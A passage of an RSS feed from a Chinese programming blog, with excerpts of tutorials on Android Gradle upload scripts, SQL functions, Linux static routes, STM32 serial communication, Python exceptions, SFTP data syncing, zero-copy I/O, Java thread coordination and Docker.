      <description>前言 Android 项目日常开发过程中，经常需要打包给到非开发人员验收或调试，例如测试阶段，就要经常基于测试服务器地址，打包安装包，给到组内测试人员进行测试，并且 BUG 修复完成之后也需要再次打包给到测试人员回测。为了减免机械性的重复步骤，为项目配置不同的 渠道（Product Flavors），不同渠道对应不同的服务器地址，并且为每一个渠道创建一个 Gradle Task 执行打包并上传至蒲公英的操作，同时在蒲公英中配置 Webhook ，最终可实现：执行对应 **渠道（Product Flavors）**的 Gradle Task，即可自动打包并上传至蒲公英，并将包更新信息同步至企业微信、钉钉、飞书等工作群组，使得包更新流程可视化，并简化了开发和测试联调流程。 实现步骤 1.创建 pgyer-upload.gradle 文件 每个渠道的 Task 执行内容一致：打包并记录更新信息后上传至蒲公英 ，所以抽取公共内容（方法）创建如下 pgyer-upload.gradle 文件&#xA;import groovy.json.JsonSlurper import java.net.http.HttpClient import java.net.http.HttpRequest import java.net.http.HttpResponse import java.nio.charset.StandardCharsets import java.nio.file.Files import java.text.SimpleDateFormat ext.uploadApk = this.&amp;amp;uploadApk /** * Sept 1 创建执行任务 */ /** * 蒲公英 ApiKey * https://www.pgyer.com/account/api * TODO 替换成自己的蒲公英 APIkey */ static String getApiKey() { return &#34;myApiKey&#34; } /** * 上传 apk 到蒲公英 * @apk 安装包文件 * @flavorName 渠道名 */ def uploadApk(File apk, String flavorName) { if (apk == null) { throw new RuntimeException(&#34;</description>
    </item>
    <item>
      <title>【论文阅读笔记】Learning high-speed flight in the wild</title>
      <link>https://bchobby.github.io/posts/ee1c97ee89570b7c5552ce5fdce134be/</link>
      <pubDate>Mon, 31 Jul 2023 15:48:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee1c97ee89570b7c5552ce5fdce134be/</guid>
      <description>Learning high-speed flight in the wild 链接前言方法专家支路agent支路 结果相关知识补漏写在最后 链接 论文原址：https://www.science.org/doi/abs/10.1126/scirobotics.abg5810&#xA;github：https://github.com/uzh-rpg/agile_autonomy&#xA;前言 现有的传统导航方法分为几个子任务：感知、建图、规划，这篇文章的motivation是认为这样的几个任务按顺序执行，第一个问题是模块之间的交互需要时间，降低了效率，第二是这样顺序执行有可能放大了整个pipeline的错误。因此这篇文章尝试单纯利用双目视觉信息（深度图）和位姿，结合神经网络，生成控制信息，实现了无人机真实场景的高速飞行。&#xA;方法 专家支路 先看方法，整个论文的框架图如上所示，看起来还是比较直观，首先是在仿真中，有着更充分先验知识的专家（A部分区域），专家支路在进行路径规划时，对整个平台和地图的状态有充分了解，在此基础上生成一组collision free的路径，这个路径或轨迹是满足以下概率分布的：&#xA;其中Z是一个归一化系数，是对P在整个轨迹 τ τ τ求积分的结果。 c ( τ ， τ r e f , C ) c(τ，τ_{ref},C) c(τ，τref​,C)是一个计算cost的函数，遵从如下公式：&#xA;其中积分中的前半项， λ c λ_c λc​=1000， C c o l l i s i o n C_{collision} Ccollision​是碰撞代价，这里 r q r_q rq​设置的是0.2，说白了就是距离点云地图 C C C中的障碍物越远，碰撞代价越低，达到2倍仿真无人机半径时取0。&#xA;积分后半项， Q Q Q是一个状态成本矩阵（半正定），这里文章好像没写是怎么设定的，后续复现的时候再看看代码里吧~，但总的来说后半项计算的是生成的轨迹与参考轨迹的差值与状态成本的联系，是希望尽量靠近参考轨迹。&#xA;总的来说，这个路径的概率分布即越靠近参考路径、越远离 C C C中障碍物，cost越小，P越大。&#xA;这个P其实是难以计算的，因为障碍物的多样性、混乱的环境等原因。本文的专家支路采用M-H算法进行采样，去逼近最真实的分布。MH算法的·目标分数函数定义为 s ( τ ) = exp ⁡ ( − c ( τ , τ r e f , C ) ) s(\tau)=\exp \left(-c\left(\tau, \tau_{\mathrm{ref}}, \mathcal{C}\right)\right) s(τ)=exp(−c(τ,τref​,C))，其实就是为了生成的样本能够渐进地服从P这个分布。</description>
    </item>
    <item>
      <title>给大家分享一款超轻量的kettle web端调度监控平台</title>
      <link>https://bchobby.github.io/posts/f0a6c090d722927aa9a44d46497124d6/</link>
      <pubDate>Mon, 31 Jul 2023 13:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0a6c090d722927aa9a44d46497124d6/</guid>
      <description>在当今的数据驱动时代，企业对于高效的数据抽取和处理变得越来越重要。然而，传统的数据调度和监控往往需要复杂的配置和繁琐的操作，使得整个过程变得费时费力。幸运的是，这款全新的Kettle平台将彻底颠覆你对数据处理的认知。现在就让我们深入了解并体验这个令人兴奋的解决方案吧！&#xA;Smart Kettle是一款基于开源Kettle自研的强大而创新的软件，它提供了Kettle核心接口调用基础组件，以及采用Springboot微服务后端架构和丰富的前端技术构建的监控平台。作为一款专注于大数据调度服务的解决方案，Smart Kettle旨在解决企业在数据抽取业务场景中常见的问题，特别是那些无法通过传统的web方式来配置、调度和监控Kettle的痛点，从而极大地简化企业应用的过程。&#xA;首先，让我们更深入地了解Smart Kettle的架构。该平台采用了Springboot微服务后端架构，这意味着它具备高度的灵活性、可扩展性和可维护性。通过将各个功能模块拆分成独立的微服务，Smart Kettle能够更好地满足企业不同的需求，并且便于团队协作和系统部署。此外，该平台还利用了丰富的前端技术，如Vue和iView等组件，为用户提供了直观友好的界面和良好的使用体验。&#xA;Smart Kettle的主要目标是为企业提供一个集成配置、调度和监控Kettle的全方位解决方案。在传统的数据抽取业务中，往往需要通过繁琐的手动操作或编写复杂的脚本来完成工作，而这些步骤容易出错且耗时。Smart Kettle以其独特的web方式让企业可以更便捷地进行配置和管理，极大地提高了工作效率和准确性。&#xA;其次，Smart Kettle提供了直观友好的可视化界面，使得配置Kettle变得简单而直观。用户只需通过简单的拖拽和点击操作，即可完成复杂的数据抽取任务的配置。这种可视化的方式不仅降低了技术门槛，还节省了学习和培训成本，使得任何人都能够轻松上手。&#xA;再者，Smart Kettle具备强大的调度功能，可以自动执行预定的任务，无论是按照特定时间表、事件触发还是根据数据源的更新情况。这样一来，企业不再需要依赖人工来启动和控制数据抽取过程，大大减少了错误和延迟。&#xA;Smart Kettle还提供了实时监控和告警功能，可以保证数据抽取过程的稳定性和可靠性。管理员和运维团队可以实时查看任务状态、监控性能指标以及异常情况，并在必要时接收即时通知和告警，从而可以快速响应并解决潜在的问题。&#xA;在这个高速发展的数字时代，拥有一个可靠、高效的数据调度和监控平台非常关键。通过这款超轻量级Kettle Web端调度监控平台，我们可以告别繁琐的手动配置和操作，享受更加便捷、高效的数据处理体验。</description>
    </item>
    <item>
      <title>VUE3 Element-plus el-popover警告问题</title>
      <link>https://bchobby.github.io/posts/d92b69afd99aff22616cb7588ce86188/</link>
      <pubDate>Mon, 31 Jul 2023 11:22:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d92b69afd99aff22616cb7588ce86188/</guid>
      <description>针对于浏览器开发者工具提示的警告问题：&#xA;会提示以下警告：runtime-core.esm-bundler.js:38 [Vue warn]: Invalid prop: type check failed for prop &#34;content&#34;. Expected String with value &#34;10000&#34;, got Number with value 10000.&#xA;原因是： el-popover的属性 content 的值要是string 不然会报很多次上面的警告</description>
    </item>
    <item>
      <title>SQL单行函数</title>
      <link>https://bchobby.github.io/posts/9e08f1df777154323a56e529aadaf21a/</link>
      <pubDate>Mon, 31 Jul 2023 11:03:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e08f1df777154323a56e529aadaf21a/</guid>
      <description>单行函数 1.字符串函数 函数示例结果描述upperselect upper(&#39;sdfd&#39;);SDFD将字母转换为大写lowerselect lower(&#39;ABc&#39;);abc将字母转换为小写concatselect concat(&#39;hello&#39;, &#39;world&#39;);‘hello world’字符串连接substr/substringselect substr(&#39;hello world&#39;, 2, 4);‘ello’截取字符串lengthselect length(&#39;hello world&#39;);11获取字符串长度instrselect instr(&#39;hello world&#39;, &#39;world&#39;);7获取子字符串在父字符串中的索引trimselect trim(&#39; hello &#39;);‘hello’去除两端空格ltrimselect ltrim(&#39; hello&#39;);‘hello’去除左端的空格rtrimselect rtrim(&#39;hello &#39;);‘hello’去除右端的空格replaceselect replace(&#39;hello java&#39;, &#39;java&#39;, &#39;world&#39;);‘hello world’替换文本 2.数学函数 函数示例结果作用round(x, [y])select round(5.64,1);5.6对指定的值进行四舍五入，可以指定数值位数ytruncateselect truncate(5.6,0);5对指定的数进行截取操作，指定保留位数yceil(x)select ceil(4.56);5返回不小于指定的值x的最小整数，向上取整floor(x)select floor(8.5);8返回不大于指定的值x的最大整数，向下取整abs(x)select abs(-12);12取绝对值 3.日期函数 函数示例结果作用current_timestamp()select current_timestamp();2019-11-07 20:53:47获取当前时间戳current_date()/CURDATE()select current_date();2019-11-07获取当前日期current_time()/CURTIME()select current_time();20:56:00获取当前时间now()select now();2019-11-07 20:57:15获取当前时间ADDDATE(d,n)SELECT ADDDATE(&#34;2017-06-15&#34;, INTERVAL 10 DAY);2017-06-25计算起始日期d加上n天的日期ADDTIME(t,n)SELECT ADDTIME(&#39;2011-11-11 11:11:11&#39;, 5);2011-11-11 11:11:16时间t加上时间表达式nDATEDIFF(d1,d2)SELECT DATEDIFF(&#39;2001-01-01&#39;,&#39;2001-02-02&#39;);-32计算日期d1-d2之间相隔的天数DATE_ADD(d,INTERVAL expr type)SELECT DATE_ADD(&#34;2017-06-15&#34;, INTERVAL 10 DAY);2017-06-25计算起始日期d加上一个时间段后的日期DATE_SUB(date,INTERVAL expr type)SELECT DATE_SUB(&#34;2017-06-15&#34;, INTERVAL 10 DAY);2017-06-05计算起始日期d减去一个时间段后的日期DATE_FORMAT(d,f)SELECT DATE_FORMAT(&#39;2011-11-11 11:11:11&#39;,&#39;%Y-%m-%d %r&#39;);2011-11-11 11:11:11 AM按表达式f的要求显示日期dDAY(d)SELECT DAY(&#34;</description>
    </item>
    <item>
      <title>Linux系统之静态路由配置</title>
      <link>https://bchobby.github.io/posts/c096b9191b5bb2111645880341edf2bf/</link>
      <pubDate>Mon, 31 Jul 2023 00:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c096b9191b5bb2111645880341edf2bf/</guid>
      <description>在Linux系统中配置静态路由可以按照以下步骤进行：&#xA;查看当前路由表：&#xA;使用 route命令或 ip route命令来查看当前的路由表。例如：&#xA;route -n 或&#xA;ip route show 添加静态路由：&#xA;使用 route命令或 ip route命令来添加静态路由。语法如下：&#xA;route add 目标网络地址/子网掩码 gw 网关地址 或&#xA;ip route add 目标网络地址/子网掩码 via 网关地址 其中，目标网络地址/子网掩码表示要访问的目标网络的地址和子网掩码，网关地址表示下一跳的网关地址。&#xA;例如，要添加一个静态路由以访问目标网络192.168.1.0/24，下一跳网关为192.168.0.1，可以执行以下命令：&#xA;route add -net 192.168.1.0/24 gw 192.168.0.1 或&#xA;ip route add 192.168.1.0/24 via 192.168.0.1 如果需要指定路由的优先级（跃点数），可以使用 metric选项。较低的 metric值表示更高的优先级。&#xA;route add 目标网络地址/子网掩码 gw 网关地址 metric 数值 或&#xA;ip route add 目标网络地址/子网掩码 via 网关地址 metric 数值 永久保存静态路由：&#xA;在CentOS 7及以上版本的系统中，静态路由的配置会随着网络服务的重启而丢失。为了使静态路由持久化，需要进行额外的配置。 在 /etc/sysconfig/network-scripts/目录中，找到与网络接口相关的配置文件，例如 ifcfg-eth0。编辑该文件，并添加以下配置：</description>
    </item>
    <item>
      <title>【嵌入式学习-STM32F103-USART串口通信】</title>
      <link>https://bchobby.github.io/posts/3b679cbe6cc1e503b5ed428034ad00eb/</link>
      <pubDate>Sun, 30 Jul 2023 20:00:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b679cbe6cc1e503b5ed428034ad00eb/</guid>
      <description>目录 1、串口通信协议（简介+软硬件规则） 2、STM32内部的USART外设 3、USART基本结构（江科大简化） 4、串口发送代码 4-1 基本流程 4-2 整体代码 4-2-1 main.c 4-2-2 Serial.c 4-2-3 Serial.h 5、串口接收代码 5-1 查询 5-2 中断 5-3 整体代码 5-3-1 main.c 5-3-2 Serial.c 5-3-3 Serial.h 6、USART串口数据包 6-1 使用状态机接收数据包的思路 6-2 串口收发HEX数据包 6-2-1 main.c 6-2-2 Serial.c 6-2-3 Serial.h 6-3串口收发文本数据包 6-3-1 main.c 6-3-2 Serial.c 6-3-3 Serial.h 补充 1、串口通信协议（简介+软硬件规则） 全双工：打电话。半双工：对讲机。单工：广播&#xA;时钟：I2C和SPI有单独的时钟线，所以它们是同步的，接收方可以在时钟信号的指引下进行采样。串口、CAN和USB没有时钟线，需要双方约定一个采样频率，它们是异步的，并且需要加一些帧头帧尾等进行采样位置的对齐。&#xA;电平：1、单端-&amp;gt;引脚的高低电平都是对GND的电压差，所以单端信号通信的双方必须要共地，就是把GND接在一起。2、&#xA;差分-&amp;gt;它是靠两个差分引脚的电压差来传输信号的，在通讯的时候，可以不需要共地，可极大提高抗干扰特性，所以差分信号一般传输速度和距离都会非常高。&#xA;设备：点对点-&amp;gt;老师单独找一位学生谈话；多设备-&amp;gt;老师在教室里面对所有同学谈话，需要有一个寻址的过程，以确定通信的对象。寻址：给不同的设备编号，对应不同的学生的名字 波特率：如果双方规定波特率为1000bps，表示1s要发送1000位，每一位的时间就是1ms。 发送方每隔1ms发送1位，接收方每隔1ms接收1位。波特率，它决定了每隔多久发送一位。&#xA;起始位：首先，串口的空闲状态是高电平，也就是没有数据传输的时候，引脚必须要置高电平，作为空闲状态，然后需要传输的时候，必须要先发送一个起始位，这个起始位必须是低电平，来打破空闲状态的高电平，产生一个下降沿，该下降沿就告诉设备这一帧数据要开始了。如果没有起始位，数据线就一直都是高电平，没有任何波动，这样接收方怎么知道要接收数据呢。&#xA;停止位：为下一个起始位做准备。如果没有停止位，那当我数据最后一位是0的时候，下次再发送新的一帧，就没有办法产生下降沿了。&#xA;例子，连续发送两个0x55，1个停止位和2个停止位&#xA;校验位：串口使用的是一种叫奇偶校验的数据验证方法。奇偶校验可以判断数据传输是否出错。如果数据出错了，可以选择丢弃或者要求重传。&#xA;’&#xA;串口通信总结：TX引脚输出定时翻转的高低电平，RX引脚定时读取引脚的高低电平。每个字节的数据加上起始位，停止位，可选的校验位（无，奇，偶），打包成数据帧，一次输出在TX引脚，另一端RX引脚依次接收，这样就完成了字节数据的传递。&#xA;’&#xA;2、STM32内部的USART外设 USART外设就是串口通信的硬件支持电路。&#xA;常用配置：波特率9600或者115200，数据位8位，停止位1位，无校验&#xA;USART1:APB2总线的设备&#xA;USART2、USART3：APB1总线的设备&#xA;’&#xA;USART功能框图 TX和RX走线</description>
    </item>
    <item>
      <title>python中的异常和错误</title>
      <link>https://bchobby.github.io/posts/4df64fadf033a5093fceaad9de685d1a/</link>
      <pubDate>Sun, 30 Jul 2023 16:57:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4df64fadf033a5093fceaad9de685d1a/</guid>
      <description>目录&#xA;一，两者的区别&#xA;二，异常处理：&#xA;1.正常异常处理&#xA;2.异常一次只识别一个错误&#xA;3.识别没有列出的错误 Exception 4.没有发生错误执行 else&#xA;5.无论正常还是异常都必须执行 finally ：&#xA;6.主动抛出异常 raise 7.指定捕获的错误&#xA;三，异常错误类型&#xA;一，两者的区别 错误：语法错误（逻辑错误），缩进错误 不可以被处理 异常：在程序运行期间遇到的错误 可以被处理 二，异常处理： 1.正常异常处理 try： 正常执行的语法(有可能遇到异常) except： 出现处理的语句 try中遇到异常,将异常抛给python解释器，except语句捕获异常，然后进行处理（出现处理的语句） list_data = [1, 2, 3, 4] try: print(list_data[9]) except IndexError: print(IndexError) 显示：&amp;lt;class &#39;IndexError&#39;&amp;gt;&#xA;2.异常一次只识别一个错误 异常可以一下是多个，但是当执行到相应的错误之后后面的错误就不会被打印&#xA;语法：&#xA;try： 要执行的语句（多条语句，使用有可能在某些情况下运行出现一种异常，在另一些情况出现另一种异常） 在出现多个不同情况下的不同异常时，要做不同的异常处理 except 异常1： 处理异常1 except 异常2： 处理异常2 except 异常3： 处理异常3 ....... 示例： name = 2 list_data = [1, 2, 3, 4] try: print(names, list_data[9]) except NameError as r: print(r) except IndexError: print(&#34;</description>
    </item>
    <item>
      <title>如何快速同步第三方平台数据？</title>
      <link>https://bchobby.github.io/posts/d46331362f6d4b95b0f263cb6f7140a0/</link>
      <pubDate>Sun, 30 Jul 2023 16:27:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d46331362f6d4b95b0f263cb6f7140a0/</guid>
      <description>前言 最近知识星球中有位小伙伴问了我一个问题：如何快速同步第三方平台数据？&#xA;他们有个业务需求是：需要同步全国34个省市，多个系统的8种业务数据，到他们公司的系统当中。&#xA;他们需求同步全量的数据和增量的数据。&#xA;全量的数据主要是针对多个系统的历史数据，大概有几千万数据，只需要初始化一次即可。&#xA;而增量的数据，是系统后续变更的数据。&#xA;这个需求其实不简单，至少有以下难点：&#xA;不能直接访问第三方数据库。&#xA;不能将历史数据导出到excel中，有泄露数据的风险。&#xA;如何快速同步历史数据？&#xA;增量数据如何处理？&#xA;接口需要做限流吗？&#xA;增量数据如何校验数据的一致性？&#xA;带着这些问题，开始今天的文章之旅。&#xA;1. 如何快速同步历史数据？ 想要快速同步历史数据，第一个想到的可能是直接同步数据库中的数据。&#xA;但多个第三方系统为了数据安全考虑，不可能直接把他们的数据库访问地址和相关账号密码告诉你。&#xA;即使他们告诉你了，但有很多个系统，你一个个去连数据库查数据，也非常麻烦。&#xA;有些小伙伴可能会说：这好办，让第三方系统把他们的历史数据导出到excel中，我们写个程序解析去这些excel，就能将数据快速导入到我们的数据库中。&#xA;这是个好办法，但忽略了一点：这些数据是敏感数据，不能对外暴露。&#xA;因此导出excel的方案行不通。&#xA;那么，该如何快速同步历史数据呢？&#xA;答：使用SFTP。&#xA;不知道你有没有跟银行对接过，SFTP在银行业务中经常会用到。&#xA;那么，如何用SFTP同步数据呢？&#xA;2. 如何使用SFTP？ 说起SFTP，就不得不说一说FTP。&#xA;我们都知道，FTP是用来传送文件的协议。使用FTP实现远程文件传输的同时，还可以保证数据传输的可靠性和高效性。&#xA;而SFTP是一种可以安全传输文件的协议，它是一种基于SSH（Secure Shell）的文件传输协议，它允许用户将文件以加密的形式传输到远程服务器上，以保护文件的安全性。&#xA;FTP和SFTP有哪些区别呢？&#xA;链接方式不同：FTP使用TCP的21号端口建立连接。而SFTP是在客户端和服务器之间通过 SSH 协议 (即TCP22号端口) 建立的安全连接来传输文件。&#xA;安全性不同：SFTP使用加密传输认证信息和传输的数据，相对于FTP更安全一些。&#xA;传输效率不同：SFTP传输文件时使用了加密解密技术，因此传输效率比普通的FTP要低一些。&#xA;使用协议不同：FTP使用了TCP/IP协议，而SFTP使用了SSH协议。&#xA;安全通道：SFTP协议提供了一个安全通道，用于在网络上的主机之间传输文件。而FTP协议没有安全通道。&#xA;因此可见，我们使用SFTP来传输文件还是比较安全的。&#xA;那么，如何使用SFTP来实现同步历史数据的需求呢？&#xA;答：这就需要我们做好SFTP的账号、目录和文件格式的规划了。&#xA;2.1 账号权限控制 首先需要运维同学搭建一个SFTP服务器，提供一个可以对外访问的域名和端口号。&#xA;然后需要在根目录下，创建一个存放文件的目录，比如：/data。&#xA;然后给每个省市的第三方系统都创建一个子目录，比如：/data/sichuan、/data/shenzhen、/data/beijing等。&#xA;接下来，我们需要给每个子目录创建一个账号，以及分配权限。&#xA;比如有个账号是：sichuan，密码是：sisuan123。这个账号只拥有/data/sichuan目录读数据和写数据的权限。&#xA;另外一个账号是：shenzhen，密码是：shenzhen123。这个账号只拥有/data/目录读数据和写数据的权限。&#xA;以此类推。&#xA;当然大家如果不放心，可以用在线工具，将密码设置成一个8位的随机字符串，包含字母、数字和特殊字符，这样的密码安全性相对来说要高一些。&#xA;这样相关的第三方系统都有往SFTP自己目录下读和写数据的权限。&#xA;在这里温馨提醒一下：上面这些账号读数据的权限，主要是为了后面他们好排查问题用的，不是必须分配的，我们需要根据实际情况而定。&#xA;此外，还需要给我们自己分配一个账号，开通对/data整个目录的只读权限。&#xA;2.2 统一数据格式 接下来，最关键的一步是要制定一个统一的文件格式和数据格式。&#xA;文件名称为：sichuan_20230724.txt。&#xA;也就是用 省市拼音_日期.txt 的格式。&#xA;这样大家就能非常清楚的看出，是哪个省市，哪个日期产生的数据。&#xA;然后我们需要规定txt文件的格式。&#xA;比如：id占20个字符，name占30个字符，金额占10个字符等等。&#xA;如果有些列的数据不满对应的字符长度，前面可以补0。</description>
    </item>
    <item>
      <title>零拷贝原来这么简单！</title>
      <link>https://bchobby.github.io/posts/0888a47bc7cc9e4927f1b7fddfc0b8a0/</link>
      <pubDate>Sun, 30 Jul 2023 16:26:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0888a47bc7cc9e4927f1b7fddfc0b8a0/</guid>
      <description>我们总会在各种地方看到零拷贝，那零拷贝到底是个什么东西。&#xA;接下来，让我们来理一理啊。&#xA;拷贝说的是计算机里的 I/O 操作，也就是数据的读写操作。计算机可是一个复杂的家伙，包括软件和硬件两大部分，软件主要指操作系统、驱动程序和应用程序。硬件那就多了，CPU、内存、硬盘等等一大堆东西。&#xA;这么复杂的设备要进行读写操作，其中繁琐和复杂程度可想而知。&#xA;传统I/O的读写过程 如果要了解零拷贝，那就必须要知道一般情况下，计算机是如何读写数据的，我把这种情况称为传统 I/O。&#xA;数据读写的发起者是计算机中的应用程序，比如我们常用的浏览器、办公软件、音视频软件等。&#xA;而数据的来源呢，一般是硬盘、外部存储设备或者是网络套接字（也就是网络上的数据通过网口+网卡的处理）。&#xA;过程本来是很复杂的，所以大学课程里要通过《操作系统》、《计算机组成原理》来专门讲计算机的软硬件。&#xA;简化版读操作流程 那么细的没办法讲来，所以，我们把这个读写过程简化一下，忽略大多数细节，只讲流程。&#xA;上图是应用程序进行一次读操作的过程。&#xA;应用程序先发起读操作，准备读取数据了；&#xA;内核将数据从硬盘或外部存储读取到内核缓冲区；&#xA;内核将数据从内核缓冲区拷贝到用户缓冲区；&#xA;应用程序读取用户缓冲区的数据进行处理加工；&#xA;详细的读写操作流程 下面是一个更详细的 I/O 读写过程。这个图可好用极了，我会借助这个图来厘清 I/O 操作的一些基础但非常重要的概念。&#xA;先看一下这个图，上面红粉色部分是读操作，下面蓝色部分是写操作。&#xA;如果一下子看着有点儿迷糊的话，没关系，看看下面几个概念就清楚了。&#xA;应用程序 就是安装在操作系统上的各种应用。&#xA;系统内核 系统内核是一些列计算机的核心资源的集合，不仅包括CPU、总线这些硬件设备，也包括进程管理、文件管理、内存管理、设备驱动、系统调用等一些列功能。&#xA;外部存储 外部存储就是指硬盘、U盘等外部存储介质。&#xA;内核态 内核态是操作系统内核运行的模式，当操作系统内核执行特权指令时，处于内核态。&#xA;在内核态下，操作系统内核拥有最高权限，可以访问计算机的所有硬件资源和敏感数据，执行特权指令，控制系统的整体运行。&#xA;内核态提供了操作系统管理和控制计算机硬件的能力，它负责处理系统调用、中断、硬件异常等核心任务。&#xA;用户态 这里的用户可以理解为应用程序，这个用户是对于计算机的内核而言的，对于内核来说，系统上的各种应用程序会发出指令来调用内核的资源，这时候，应用程序就是内核的用户。&#xA;用户态是应用程序运行的模式，当应用程序执行普通的指令时，处于用户态。&#xA;在用户态下，应用程序只能访问自己的内存空间和受限的硬件资源，无法直接访问操作系统的敏感数据或控制计算机的硬件设备。&#xA;用户态提供了一种安全的运行环境，确保应用程序之间相互隔离，防止恶意程序对系统造成影响。&#xA;模式切换 计算机为了安全性考虑，区分了内核态和用户态，应用程序不能直接调用内核资源，必须要切换到内核态之后，让内核来调用，内核调用完资源，再返回给应用程序，这个时候，系统在切换会用户态，应用程序在用户态下才能处理数据。&#xA;上述过程其实一次读和一次写都分别发生了两次模式切换。&#xA;内核缓冲区 内核缓冲区指内存中专门用来给内核直接使用的内存空间。可以把它理解为应用程序和外部存储进行数据交互的一个中间介质。&#xA;应用程序想要读外部数据，要从这里读。应用程序想要写入外部存储，要通过内核缓冲区。&#xA;用户缓冲区 用户缓冲区可以理解为应用程序可以直接读写的内存空间。因为应用程序没法直接到内核读写数据， 所以应用程序想要处理数据，必须先通过用户缓冲区。&#xA;磁盘缓冲区 PageCache PageCache 是 Linux 内核对文件系统进行缓存的一种机制。它使用空闲内存来缓存从文件系统读取的数据块，加速文件的读取和写入操作。&#xA;当应用程序或进程读取文件时，数据会首先从文件系统读取到 PageCache 中。如果之后再次读取相同的数据，就可以直接从 PageCache 中获取，避免了再次访问文件系统。&#xA;同样，当应用程序或进程将数据写入文件时，数据会先暂存到 PageCache 中，然后由 Linux 内核异步地将数据写入磁盘，从而提高写入操作的效率。&#xA;再说数据读写操作流程 上面弄明白了这几个概念后，再回过头看一下那个流程图，是不是就清楚多了。</description>
    </item>
    <item>
      <title>线程交替执行经典问题(生产者和消费者问题）</title>
      <link>https://bchobby.github.io/posts/53f28f47316d057ec35eaae201054ef1/</link>
      <pubDate>Sun, 30 Jul 2023 12:56:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53f28f47316d057ec35eaae201054ef1/</guid>
      <description>让两个线程交替打印出1A2B3C4D5E6F?&#xA;一、使用LockSupport 如果只有两个线程，使用LockSupport实现比较简单快捷，但是当有多个线程的时候，LockSupport.unpark(指定线程)，我们不知道那个指定线程需要唤醒。所以不适用多个线程的情况。&#xA;package com.itheima.security.springboot.juc; import java.util.concurrent.locks.LockSupport; /** * @Title: 模拟线程交替执行经典问题 * @Description: TODO * @Params: * @return * @throws * @Author: Vector * @DateTime: */ public class T04_LockSupport { static Thread t1, t2; public static void main(String[] args) { char[] arrayA = &#34;1234567&#34;.toCharArray(); char[] arrayB = &#34;ABCDEFG&#34;.toCharArray(); t1 = new Thread(() -&amp;gt; { for (char temp : arrayA) { System.out.println(temp); LockSupport.unpark(t2); //唤醒t2线程 LockSupport.park();//t1线程阻塞 todo 即让当前线程进入阻塞状态 } }, &#34;t1&#34;); t2 = new Thread(() -&amp;gt; { for (char temp : arrayB) { LockSupport.</description>
    </item>
    <item>
      <title>docker全解</title>
      <link>https://bchobby.github.io/posts/b9fb3a7a42bbdfe9b37f5788953997bf/</link>
      <pubDate>Sat, 29 Jul 2023 20:24:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9fb3a7a42bbdfe9b37f5788953997bf/</guid>
      <description>目录 说明docker简介为什么是docker容器与虚拟机比较容器发展简史传统虚拟机技术容器虚拟化技术 docker能干什么带来技术职级的变化开发/运维（Devops)新一代开发工程师Docker应用场景why docker？docker的优势 docker和dockerHub官网 Docker安装CentOS Docker安装docker查看自己的内核安装阿里云镜像加速永远的HelloWorld Docker的基本组成镜像（image）容器（container）仓库（repository）小总结Docker平台架构图解Docker工作原理整体架构及底层通信原理简述Docker运行的基本流程底层原理（为什么Docker会比VM虚拟机快） Docker常用命令帮助启动类命令镜像命令docker imagesdocker searchdocker pulldocker system df 查看镜像/容器/数据卷所占用的空间docker rmi 删除镜像docker虚悬镜像 容器命令新建+启动容器启动守护式容器（后台服务器）： docker ps列出当前所有正在运行的容器退出容器启动已停止运行的容器docker logs查看容器日志docker top查看容器内运行的进程docker inspect查看容器内部细节（审查容器）docker exec进入正在运行的容器并以命令行交互docker cp从容器内拷贝文件到主机上导入和导出容器 限制资源命令总结 Docker镜像Docker镜像加载原理为什么Docker镜像要采用分层结构Docker镜像commit操作案例 本地镜像发布到阿里云默认的Hub地址本地镜像发布到阿里云流程镜像生成的方法将本地镜像推送到阿里云将阿里云上的镜像下载到本地 本地镜像发布到私有库本地镜像发布到私有库流程 Docker容器数据卷使用特性数据卷案例宿主vs容器之间映射添加容器卷 读写规则映射添加说明卷的集成和共享 Docker常规安装简介安装tomcat安装mysql安装redis docker复杂安装安装mysql主从复制安装redis集群(cluster)主从容错切换迁移案例容错切换迁移主从扩容案例 DockerFile解析DockerFile是什么DockerFile构建过程解析DockerFile内容基础知识Docker执行DockerFile的大致流程小总结DockerFile常用保留字指令小总结自定义镜像mycentosjava8目标编写构建运行 虚悬镜像家庭作业自定义myubuntu Docker网络Docker 网络是什么docker不启动，默认网络情况docker启动后，网络情况常用基本命令All 命令docker network ls查看网络查看网络源数据删除网络创建网络 docker网络的作用（能干嘛）docker网络模式总体介绍容器实例内默认网络IP生产规则案例说明bridge模式案例两两匹配验证Host模式是什么案例 none模式是什么案例 container模式是什么案例 自定义网络案例 Docker平台架构图解Docker轻量级可视化工具Portainerdocker安装 说明 docker全解仅以作者【在读大学生】视角去认识，学习，使用docker，且以使用为主学习底层为辅进行书写，欢迎读者斧正。&#xA;docker简介 为什么是docker Docker的出现得以打破过去「程序即应用」的观念。透过镜像(images)将作业系统核心除外，运作应用程式所需要的系统环境，由下而上打包，达到应用程式跨平台间的无缝接轨运作。【docker理念】：解决了运行环境和配置问题的软件容器，方便持续继承并有助于整体发布的容器虚拟化技术。 容器与虚拟机比较 容器发展简史 传统虚拟机技术 虚拟机（virtual machine）就是带环境安装的一种解决方案。&#xA;它可以在一种操作系统里面运行另一种操作系统，比如在Windows10系统里面运行Linux系统CentOS7。应用程序对此毫无感知，因为虚拟机看上去跟真实系统一模一样，而对于底层系统来说，虚拟机就是一个普通文件，不需要了就删掉，对其他部分毫无影响。这类虚拟机完美的运行了另一套系统，能够使应用程序，操作系统和硬件三者之间的逻辑不变。&#xA;虚拟机的缺点：&#xA;资源占用多冗余步骤多启动慢 容器虚拟化技术 由于前面虚拟机存在某些缺点，Linux发展出了另一种虚拟化技术：&#xA;Linux容器(Linux Containers，缩写为 LXC)&#xA;Linux容器是与系统其他部分隔离开的一系列进程，从另一个镜像运行，并由该镜像提供支持进程所需的全部文件。容器提供的镜像包含了应用的所有依赖项，因而在从开发到测试再到生产的整个过程中，它都具有可移植性和一致性。&#xA;Linux 容器不是模拟一个完整的操作系统 而是对进程进行隔离。有了容器，就可以将软件运行所需的所有资源打包到一个隔离的容器中。&#xA;容器与虚拟机不同，不需要捆绑一整套操作系统 